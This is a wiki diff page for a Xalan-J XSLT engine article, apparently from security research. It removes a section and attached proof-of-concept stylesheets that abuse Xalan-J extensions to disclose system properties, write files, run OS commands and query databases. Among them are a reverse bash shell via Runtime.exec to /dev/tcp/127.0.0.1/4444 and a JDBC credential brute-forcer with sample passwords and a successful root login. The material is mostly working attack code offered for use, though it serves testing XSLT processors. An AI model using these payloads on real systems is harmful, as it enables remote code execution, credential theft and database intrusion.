Changes for page Engine_XalanJ
on 2012/01/12 22:35
on 2012/01/04 22:28
Summary
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Page properties (1 modified, 0 added, 0 removed)
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Attachments (0 modified, 0 added, 11 removed)
Details
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... ... @@ -1,99 +1,20 @@ 1 1 [[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project. 2 2 3 3 4 - ==Supported version==4 +Supported XSLT version : 1.0 5 5 6 -1.0 7 7 8 -== Command line == 9 - 10 -$> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl 11 - 12 -__Note__ : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH 13 - 14 14 == Identification strings == 15 15 16 -| =xsl:vendor-url|http:~/~/xml.apache.org/xalan-j17 -| =xsl:vendor|Apache Software Foundation18 -| =xsl:version|1.09 +| xsl:vendor-url|http:~/~/xml.apache.org/xalan-j 10 +| xsl:vendor|Apache Software Foundation 11 +| xsl:version|1.0 19 19 13 + 20 20 == Special features == 21 21 22 -* Java properties disclosure 23 -* Java environment disclosure 24 -* Java code execution 25 -* OS command execution 26 26 * File creation 17 +* Code execution 27 27 * JDBC connectivity 28 - 29 -== Java properties disclosure == 30 - 31 -The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties. In this example, the name of the Java properties is stored in a separate XML file ([[properties.xml>>attach:properties.xml]]). The XSLT code will, for each property, display its name and its value. 32 - 33 -|=Namespace|=Function|=PoC|=Sample output 34 -|http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]] 35 - 36 -== Java environment disclosure == 37 - 38 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...). 39 - 40 -|=Namespace|=Extension function|=PoC|=Sample output 41 -|http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]] 42 - 43 -== Java code execution == 44 - 45 -The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution. 46 - 47 -|=Namespace|=Extension function|=PoC|=Sample output 48 -|http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date: 49 -Wed Jan 11 22:45:07 CET 2012 50 - 51 -== OS command execution == 52 - 53 -Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. 54 - 55 -=== Command without output === 56 - 57 -The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-) 58 - 59 -|=Namespace|=Extension functions|=PoC 60 -|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]] 61 - 62 -__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]]. 63 - 64 -=== Reading stdout === 65 - 66 -As the output have an unknown number of lines, we must use a loop construct like "while" ... which is not available in XSLT. This limitation is due to the functional programming paradigm but can be circumvented using templates and recursion. This way, we can also __update__ some variables (yeah !), but the syntax is awful and error prone. It's far better to directly write loops using non standard constructs and then convert them in templates + recursion using a dedicated tool like the [[XSLT Loop Compiler>>http://www2.informatik.hu-berlin.de/~~obecker/XSLT/loop-compiler/||rel="__blank"]]. 67 - 68 - 69 - 70 -== File creation == 71 - 72 -The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten. 73 - 74 -|=Namespace|=Extension element|=Parameter|=PoC 75 -|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]] 76 - 77 -== JDBC connectivity == 78 - 79 -It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver. 80 - 81 -=== Simple connection === 82 - 83 -The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result. 84 - 85 -|=Namespace|=Extension function|=PoC 86 -|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] 87 - 88 -=== Credentials brute-forcing === 89 - 90 -The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-). 91 - 92 - 93 -Here's the output when launched from the CLI : 94 - 95 -##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null 96 -Username : [root] / Password : [] : 97 -Username : [root] / Password : [uberpasswd] : 98 -Username : [root] / Password : [cnam] : OK !! 99 -Username : [pma] / Password : [pma] : ## 19 +* Java properties 20 +* CheckEnv()
- properties.xml
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... ... @@ -1,73 +1,0 @@ 1 -<properties> 2 -<property>awt.toolkit</property> 3 -<property>browser</property> 4 -<property>browser.vendor</property> 5 -<property>browser.version</property> 6 -<property>file.encoding</property> 7 -<property>file.encoding.pkg</property> 8 -<property>file.separator</property> 9 -<property>file.separator.applet</property> 10 -<property>http.agent</property> 11 -<property>java.awt.graphicsenv</property> 12 -<property>java.awt.printerjob</property> 13 -<property>java.class.path</property> 14 -<property>java.class.version</property> 15 -<property>java.class.version.applet</property> 16 -<property>java.endorsed.dirs</property> 17 -<property>java.ext.dirs</property> 18 -<property>java.home</property> 19 -<property>java.io.tmpdir</property> 20 -<property>java.library.path</property> 21 -<property>java.runtime.name</property> 22 -<property>java.runtime.version</property> 23 -<property>java.specification.name</property> 24 -<property>java.specification.vendor</property> 25 -<property>java.specification.version</property> 26 -<property>java.vendor</property> 27 -<property>java.vendor.applet</property> 28 -<property>java.vendor.url</property> 29 -<property>java.vendor.url.applet</property> 30 -<property>java.vendor.url.bug</property> 31 -<property>java.version</property> 32 -<property>java.version.applet</property> 33 -<property>java.vm.info</property> 34 -<property>java.vm.name</property> 35 -<property>java.vm.specification.name</property> 36 -<property>java.vm.specification.vendor</property> 37 -<property>java.vm.specification.version</property> 38 -<property>java.vm.vendor</property> 39 -<property>java.vm.version</property> 40 -<property>javax.accessibility.assistive_technologies</property> 41 -<property>line.separator</property> 42 -<property>line.separator.applet</property> 43 -<property>os.arch</property> 44 -<property>os.arch.applet</property> 45 -<property>os.name</property> 46 -<property>os.name.applet</property> 47 -<property>os.version</property> 48 -<property>os.version.applet</property> 49 -<property>package.restrict.definition.java</property> 50 -<property>package.restrict.definition.sun</property> 51 -<property>path.separator</property> 52 -<property>path.separator.applet</property> 53 -<property>sun.arch.data.model</property> 54 -<property>sun.boot.class.path</property> 55 -<property>sun.boot.library.path</property> 56 -<property>sun.cpu.endian</property> 57 -<property>sun.cpu.isalist</property> 58 -<property>sun.desktop</property> 59 -<property>sun.io.unicode.encoding</property> 60 -<property>sun.java.launcher</property> 61 -<property>sun.jnu.encoding</property> 62 -<property>sun.management.compiler</property> 63 -<property>sun.os.patch.level</property> 64 -<property>user.country</property> 65 -<property>user.dir</property> 66 -<property>user.home</property> 67 -<property>user.language</property> 68 -<property>user.name</property> 69 -<property>user.timezone</property> 70 -<property>user.variant</property> 71 -<property>user.zoneinfo.dir</property> 72 -</properties> 73 -
- xalanj-checkenv-output.txt
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... ... @@ -1,31 +1,0 @@ 1 -<?xml version="1.0" encoding="UTF-8"?><checkEnvironmentExtension> 2 - <EnvironmentCheck version="$Revision$"> 3 - <environment> 4 - <item key="version.DOM.draftlevel">2.0fd</item> 5 - <item key="java.class.path">/usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/serializer.jar:/usr/share/java/xsltc.jar</item> 6 - <item key="version.JAXP">1.1 or higher</item> 7 - <item key="java.ext.dirs">/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/ext:/usr/java/packages/lib/ext</item> 8 - <item key="version.xerces2">Xerces-J 2.9.1</item> 9 - <item key="version.xerces1">not-present</item> 10 - <item key="version.xalan2_2">Xalan Java 2.7.1</item> 11 - <item key="version.xalan1">not-present</item> 12 - <item key="version.ant">not-present</item> 13 - <item key="java.version">1.6.0_26</item> 14 - <item key="version.DOM">2.0</item> 15 - <item key="version.crimson">not-present</item> 16 - <item key="sun.boot.class.path">/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/resources.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/rt.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jsse.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jce.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/charsets.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/classes</item> 17 - <foundJar desc="apis.jar-apparent.version" name="xml">xml-apis.jar present-unknown-version</foundJar> 18 - <foundJar desc="apis.jar-path" name="xml">/usr/share/java/xml-apis.jar</foundJar> 19 - <foundJar desc="apparent.version" name="xercesImpl.jar">xercesImpl.jar WARNING.present-unknown-version</foundJar> 20 - <foundJar desc="path" name="xercesImpl.jar">/usr/share/java/xercesImpl.jar</foundJar> 21 - <foundJar desc="apparent.version" name="serializer.jar">serializer.jar present-unknown-version</foundJar> 22 - <foundJar desc="path" name="serializer.jar">/usr/share/java/serializer.jar</foundJar> 23 - <foundJar desc="apparent.version" name="xsltc.jar">xsltc.jar present-unknown-version</foundJar> 24 - <foundJar desc="path" name="xsltc.jar">/usr/share/java/xsltc.jar</foundJar> 25 - <item key="version.SAX">2.0</item> 26 - <item key="version.xalan2x">Xalan Java 2.7.1</item> 27 - </environment> 28 - <status result="OK"/> 29 - </EnvironmentCheck> 30 -</checkEnvironmentExtension> 31 -
- xalanj-checkenv.xsl
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... ... @@ -1,11 +1,0 @@ 1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 - xmlns:xalan="http://xml.apache.org/xalan" 3 - version="1.0"> 4 - 5 - <xsl:output method="xml" indent="yes" xalan:indent-amount="4"/> 6 - <xsl:template match="/"> 7 - <xsl:copy-of select="xalan:checkEnvironment()"/> 8 - </xsl:template> 9 - 10 -</xsl:stylesheet> 11 -
- xalanj-java-date.xsl
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... ... @@ -1,11 +1,0 @@ 1 -<xsl:stylesheet version="1.0" 2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 - xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" 4 - exclude-result-prefixes="date"> 5 - <xsl:output method="text"/> 6 - <xsl:template match="/"> 7 - <xsl:variable name="dateObject" select="date:new()"/> 8 - <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/> 9 - </xsl:template> 10 -</xsl:stylesheet> 11 -
- xalanj-java-properties-output.txt
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... ... @@ -1,73 +1,0 @@ 1 -<?xml version="1.0" encoding="UTF-8"?> 2 -awt.toolkit: 3 -browser: 4 -browser.vendor: 5 -browser.version: 6 -file.encoding: UTF-8 7 -file.encoding.pkg: sun.io 8 -file.separator: / 9 -file.separator.applet: 10 -http.agent: 11 -java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment 12 -java.awt.printerjob: sun.print.PSPrinterJob 13 -java.class.path: /usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/serializer.jar:/usr/share/java/xsltc.jar 14 -java.class.version: 50.0 15 -java.class.version.applet: 16 -java.endorsed.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/endorsed 17 -java.ext.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/ext:/usr/java/packages/lib/ext 18 -java.home: /usr/lib/jvm/java-6-sun-1.6.0.26/jre 19 -java.io.tmpdir: /tmp 20 -java.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386/client:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/../lib/i386:/usr/java/packages/lib/i386:/lib:/usr/lib 21 -java.runtime.name: Java(TM) SE Runtime Environment 22 -java.runtime.version: 1.6.0_26-b03 23 -java.specification.name: Java Platform API Specification 24 -java.specification.vendor: Sun Microsystems Inc. 25 -java.specification.version: 1.6 26 -java.vendor: Sun Microsystems Inc. 27 -java.vendor.applet: 28 -java.vendor.url: http://java.sun.com/ 29 -java.vendor.url.applet: 30 -java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi 31 -java.version: 1.6.0_26 32 -java.version.applet: 33 -java.vm.info: mixed mode, sharing 34 -java.vm.name: Java HotSpot(TM) Client VM 35 -java.vm.specification.name: Java Virtual Machine Specification 36 -java.vm.specification.vendor: Sun Microsystems Inc. 37 -java.vm.specification.version: 1.0 38 -java.vm.vendor: Sun Microsystems Inc. 39 -java.vm.version: 20.1-b02 40 -javax.accessibility.assistive_technologies: 41 -line.separator: 42 - 43 -line.separator.applet: 44 -os.arch: i386 45 -os.arch.applet: 46 -os.name: Linux 47 -os.name.applet: 48 -os.version: 2.6.32-37-generic 49 -os.version.applet: 50 -package.restrict.definition.java: 51 -package.restrict.definition.sun: 52 -path.separator: : 53 -path.separator.applet: 54 -sun.arch.data.model: 32 55 -sun.boot.class.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/resources.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/rt.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jsse.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jce.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/charsets.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/classes 56 -sun.boot.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386 57 -sun.cpu.endian: little 58 -sun.cpu.isalist: 59 -sun.desktop: gnome 60 -sun.io.unicode.encoding: UnicodeLittle 61 -sun.java.launcher: SUN_STANDARD 62 -sun.jnu.encoding: UTF-8 63 -sun.management.compiler: HotSpot Client Compiler 64 -sun.os.patch.level: unknown 65 -user.country: FR 66 -user.dir: /home/bob/foobar 67 -user.home: /home/bob 68 -user.language: fr 69 -user.name: bob 70 -user.timezone: 71 -user.variant: 72 -user.zoneinfo.dir: 73 -
- xalanj-java-properties.xsl
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... ... @@ -1,7 +1,0 @@ 1 -<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > 2 - <xsl:template match="//property"> 3 - <xsl:variable name="p" select="text()"/> 4 - <xsl:value-of select="$p"/>: <xsl:value-of select="system-property($p)"/> 5 - </xsl:template> 6 -</xsl:stylesheet> 7 -
- xalanj-jdbc-bruteforce.xml
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... ... @@ -1,35 +1,0 @@ 1 -<data> 2 - <foobar> 3 - <DBINFO> 4 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 5 - <dburl>jdbc:mysql://localhost/</dburl> 6 - <user>root</user> 7 - <password></password> 8 - </DBINFO> 9 - </foobar> 10 - <foobar> 11 - <DBINFO> 12 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 13 - <dburl>jdbc:mysql://localhost/</dburl> 14 - <user>root</user> 15 - <password>uberpasswd</password> 16 - </DBINFO> 17 - </foobar> 18 - <foobar> 19 - <DBINFO> 20 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 21 - <dburl>jdbc:mysql://localhost/</dburl> 22 - <user>root</user> 23 - <password>cnam</password> 24 - </DBINFO> 25 - </foobar> 26 - <foobar> 27 - <DBINFO> 28 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 29 - <dburl>jdbc:mysql://localhost/</dburl> 30 - <user>pma</user> 31 - <password>pma</password> 32 - </DBINFO> 33 - </foobar> 34 -</data> 35 -
- xalanj-jdbc-bruteforce.xsl
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... ... @@ -1,29 +1,0 @@ 1 -<?xml version="1.0"?> 2 - 3 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 4 - version="1.0" 5 - xmlns:sql="org.apache.xalan.lib.sql.XConnection" 6 - extension-element-prefixes="sql"> 7 - 8 -<xsl:output method="text" indent="yes"/> 9 -<xsl:variable name="query">SELECT "OK !!"</xsl:variable> 10 - 11 -<xsl:template match="//data"> 12 - <xsl:for-each select="foobar"> 13 - 14 - <xsl:variable name="cinfo" select="DBINFO"/> 15 - <xsl:variable name="user" select="DBINFO/user/text()"/> 16 - <xsl:variable name="passwd" select="DBINFO/password/text()"/> 17 - 18 - <xsl:variable name="db" select="sql:new($cinfo)"/> 19 - <xsl:variable name="data" select='sql:query($db, $query)'/> 20 - 21 - <xsl:copy-of select="concat('Username : [', $user, '] / ')" /> 22 - <xsl:copy-of select="concat('Password : [', $passwd, '] : ')" /> 23 - <xsl:copy-of select="$data" /><xsl:copy-of select="'
'" /> 24 - 25 - </xsl:for-each> 26 -</xsl:template> 27 - 28 -</xsl:stylesheet> 29 -
- xalanj-jdbc-query.xsl
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... ... @@ -1,22 +1,0 @@ 1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 - xmlns:sql="org.apache.xalan.lib.sql.XConnection" 3 - extension-element-prefixes="sql" 4 - version="1.0"> 5 - 6 -<xsl:output method="xml" indent="yes"/> 7 - 8 -<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/> 9 -<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/> 10 -<xsl:param name="user" select="'root'"/> 11 -<xsl:param name="pass" select="'14m31337'"/> 12 -<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/> 13 - 14 -<xsl:template match="/"> 15 - <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/> 16 - <xsl:variable name="table" select='sql:query($dbh, $query)'/> 17 - <xsl:copy-of select="$table" /> 18 - <xsl:value-of select="sql:close($db)"/> 19 -</xsl:template> 20 - 21 -</xsl:stylesheet> 22 -
- xalanj-reverse-bash.xsl
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... ... @@ -1,31 +1,0 @@ 1 -<xsl:stylesheet 2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 - xmlns:jv="http://xml.apache.org/xalan/java" 4 - exclude-result-prefixes="jv" 5 - version="1.0"> 6 - 7 - <xsl:template match="/"> 8 - 9 - <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable> 10 - <xsl:variable name="a" select="jv:split($test, ' ==== ')"/> 11 - <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/> 12 - <xsl:variable name="process" select="jv:exec($rtobject, $a )"/> 13 - 14 -Objet "String" : 15 - <xsl:value-of select="$test"/> 16 - 17 -Objet "Array" : 18 - <xsl:variable name="aAsString" select="jv:toString($a)"/> 19 - <xsl:value-of select="$aAsString"/> 20 - 21 -Objet "Runtime" : 22 - <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/> 23 - <xsl:value-of select="$rtobjectAsString"/> 24 - 25 -Objet "Process" : 26 - <xsl:variable name="processAsString" select="jv:toString($process)"/> 27 - <xsl:value-of select="$processAsString"/> 28 - 29 - </xsl:template> 30 -</xsl:stylesheet> 31 -
- xalanj-write.xsl
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... ... @@ -1,13 +1,0 @@ 1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 - xmlns:redir="http://xml.apache.org/xalan/redirect" 3 - extension-element-prefixes="redir" 4 - version='1.0'> 5 - 6 - <xsl:template match="/"> 7 - <redir:write file="/tmp/created_by_xalanj_write" method="text"> 8 - <xsl:text>Just a PoC</xsl:text> 9 - </redir:write> 10 - </xsl:template> 11 - 12 -</xsl:stylesheet> 13 -